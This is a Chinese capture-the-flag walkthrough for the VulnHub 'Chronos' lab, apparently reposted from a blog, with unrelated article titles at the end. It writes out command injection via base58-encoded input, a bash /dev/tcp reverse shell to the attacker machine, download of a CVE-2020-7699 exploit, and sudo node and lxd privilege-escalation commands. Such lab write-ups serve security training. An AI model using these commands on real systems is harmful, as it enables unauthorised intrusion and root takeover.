准备:

攻击机:虚拟机kali、本机win10。

靶机:Chronos,下载地址:https://download.vulnhub.com/chronos/Chronos.ova,下载后直接vbox打开即可。

知识点:lxd提权、node提权、dns解析、命令执行漏洞、base58解密、CVE-2020-7699漏洞。

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.110.0/24,获得靶机地址:192.168.1.82。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.110.82,显示开放了22、80、8000端口,开启了ssh、http服务。

使用dirmap、dirsearch进行目录扫描,均未发现有效的目录信息。

DNS解析:

在检查:http://192.168.110.82/的源代码信息时,发现一个链接:http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL,观察到:chronos.local,就想到要进行dns解析。win:打开C:\Windows\System32\drivers\etc\hosts文件,添加:192.168.110.82 chronos.local,但是访问还是显示被禁止。

bp抓包分析:

使用bp抓包访问:http://192.168.110.82/,发现在访问http://chronos.local:8000/date时,其User-Agent被修改成立Chronos,经验证这就是上面被禁止的原因。

后面直接访问:http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL进行抓包并修改User-Agent为:Chronos,可以正常访问。

命令执行:

传递的加密字符串疑是base64加密,但是经过base64、base32解密均失败,最后base58解密成功,解密后信息:'+Today is %A, %B %d, %Y %H:%M:%S.',根据解密后的信息猜测应该是执行的date命令。

那我们利用&、;、|等符号来执行我们自己的命令,例如:;ls,base58加密后:Lxfc,获得当前目录信息

获取shell:

利用命令执行漏洞获取shell权限,通过执行命令:bash -c 'bash -i >& /dev/tcp/192.168.110.234/6688 0>&1'来获取shell权限,base58加密后:2cH1gSRr9UAWvT31knR5Zo6eraKZs1x1qGWATRGhQphNCQp9QsUUjujayt3uEUnorRYYh5eBnppq4,在kali端开启对6688端口的监听:nc -lvvp 6688,成功获得shell权限。

提权至imera:

在当前用户目录下进行信息查找,经过一番查找在/opt/chronos-v2/backend目录下面发现靶机上开启了第二个服务并且该服务中疑是存在文件上传漏洞。

在网上查找时发现该漏洞编号为:CVE-2020-7699,那就查找下该漏洞的exp,可以在:https://github.com/boiledsteak/EJS-Exploit/blob/main/attacker/EJS-RCE-attack.py或者https://blog.p6.is/Real-World-JS-1/等网站均可以。

将py代码下载复制下来保存到kali中,然后使用python开启http服务:python -m http.server,在把靶机中下载该文件,命令:wget http://192.168.110.234:8000/express-fileupload.py。

在kali中开启对8899端口的监听:nc -nvlp 8899,然后在靶机中执行express-fileupload.py文件,命令:python3 express-fileupload.py,成功获得imera账户的shell权限,如果未获得权限多执行几次,测试两次均是执行 三次才获得imera的shell权限。

在/home/imera账户下发现user.txt文件并读取flag信息。

提权至root-node提权:

查看下当前账户是否存在可以使用的特权命令,sudo -l,显示存在npm命令和node命令。

查找下node命令的提权方法,命令:sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})',即可获得root权限,然后在/root目录下发现root.txt文件并读取flag值。

提权至root-lxd提权:

在获得imera账户权限的时候,我们发现该账户具有lxd权限,那也可以采用lxd提权方式进行提权。

首先在这个网站:https://github.com/saghul/lxd-alpine-builder.git下载tar.gz文件并上传到靶机,命令:wget http://192.168.110.234:8000/lxd/alpine-v3.13-x86_64.tar.gz。然后在依次执行如下命令,即可成功获得root权限。

lxc image import ./alpine-v3.13-x86_64.tar.gz --alias myimage
lxd init #基本默认配置,进行回车就行
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

获得root权限后进入root目录:cd /mnt/root/root,发现root.txt文件并读取flag值。

补充:

在使用npm进行提权时是提权失败的。

最新文章

  1. C语言 ---- 指针 iOS学习-----细碎知识点总结
  2. Oracle命令:授权-收回权限-角色
  3. 结构体dtype_t
  4. Android中程序包的相关操作
  5. SQL Server 修改表
  6. 【转载】 C#检测输入的内容中是否含有中文
  7. Failed to resolve: com.android.support:appcompat-v7:28 问题解决
  8. 使用 jQuery 调用 ASP.NET AJAX Page Method
  9. Shell脚本处理JSON数据工具jq
  10. post请求参数设置
  11. Implicit super constructor Object() is undefined for default constructor. Must define an explicit constructor
  12. 微信小程序生成二维码
  13. 智能家居 (2)手机一键自配置APP
  14. [转]C++ STL list的初始化、添加、遍历、插入、删除、查找、排序、释放
  15. linux服务器登录时慢出现卡顿
  16. 第五章 服务容错保护: Spring Cloud Hystrix
  17. Eclipse中安装Tomcat
  18. 按平均成绩从高到低显示所有学生的“数据库”、“企业管理”、“英语”三门的课程成绩,按如下形式显示: 学生ID,,数据库,企业管理,英语,有效课程数,有效平均分
  19. 修改winform安装包写日志文件权限
  20. winform 打印小票

热门文章

  1. Oracle PLM,协同研发的产品生命周期管理平台
  2. kibana访问多个 Elasticsearch 节点间的负载均衡
  3. ProxySQL(8):SQL语句的重写规则
  4. 使用kuboard部署某一个应用的pod分布于不同的主机上
  5. SQL语句——为什么分组函数(多行处理函数)不能用在where语句之后?
  6. ClickHouse(07)ClickHouse数据库引擎解析
  7. .Net Framework中的AppDomain.AssemblyResolve事件的常见用法、问题,以及解决办法
  8. __g is not defined
  9. 再有人说synchronized是重量级锁,就把这篇文章扔给他看
  10. 齐博x1模型里边钩子的创建与使用